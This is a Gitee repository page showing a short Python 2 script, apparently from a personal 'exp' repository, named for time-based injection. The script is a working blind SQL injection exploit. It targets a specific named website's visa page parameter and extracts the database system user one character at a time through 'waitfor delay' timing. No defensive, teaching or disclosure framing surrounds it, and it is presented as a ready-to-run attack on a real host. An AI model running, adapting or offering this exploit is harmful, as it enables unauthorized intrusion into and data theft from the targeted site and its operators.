1 Star 1 Fork 1

墨玉麒麟/exp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
延迟注入.py 1.09 KB
一键复制 编辑 原始数据 按行查看 历史
phantomer 提交于 2015-08-16 12:22 . update
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,11):
for payload in payloads:
try:
conn = httplib.HTTPConnection('www.h-h.com.cn', timeout=5)
s = "if (ascii(substring(system_user,%s,1))=%s) waitfor delay '0:0:5' --" % (i, ord(payload))
params = "id=74;" + urllib.quote(s)
conn.request(method='GET', url= '/visa/view_visa.aspx?' + params,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '+',
except Exception, e:
user += payload
print '\n[*]', user
break
print '\n[Done] User is:', user
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/molok/exp.git
git@gitee.com:molok/exp.git
molok
exp
exp
master

搜索帮助